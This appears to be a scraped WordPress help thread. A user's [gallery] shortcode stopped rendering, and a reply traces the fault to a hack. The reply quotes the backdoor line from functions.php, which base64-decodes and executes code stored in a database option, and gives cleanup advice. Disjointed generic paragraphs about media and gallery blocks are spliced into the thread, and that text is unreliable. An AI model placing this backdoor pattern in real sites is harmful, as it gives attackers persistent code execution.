Everything was fine, until recent updates. [gallery]
is not showing images anymore, and it also looks like it is not contained in code.
Here is the loop for page:
<?php
// Start the loop.
while ( have_posts() ) : the_post();?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article">
<h1 class="entry-title"><?php the_title(); ?></h1>
<div class="entry-content">
<?php the_content(); ?>
</div><!-- .entry-content -->
</article><!-- #post-<?php the_ID(); ?> -->
<?php
// End the loop.
endwhile;
?>
Text content from the_content is showing up, but [gallery], which is in content, is not showing nor render into code (so problem should not be in javascript).
And here is the functions.php file: http://pastebin.com/vfJpphgt (yes, I have added theme support for gallery but no change)
WordPress Media Library Not Showing Images If your Media Library is loading but not showing images, there are two primary causes: an incompatible plugin, and improper file permissions. Testing plugins follows the same advice as above, and if they're not the cause, file permissions may be.
Upon activating the plugin, you need to go to Settings » Media and click on the Select Default Featured Image button. Select an image from your computer and make sure to save the changes.
First, you need to edit the post or page where you want to add the image gallery. On the post edit screen, click on the Add New Block icon and select the Gallery block. This will add the Gallery block to your WordPress editor where you can click on the 'Upload' button to upload photos from your computer.
Click the Add Media button below the title. Click Create Gallery on the left-hand side of the page. Upload your images, or select them from your media library as shown below.
You're site got hacked.
The last line of the pastebin is loading malicious code from your database:
add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>
The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery]
is broken. (Actually you can be lucky about that part.)
You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.
AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With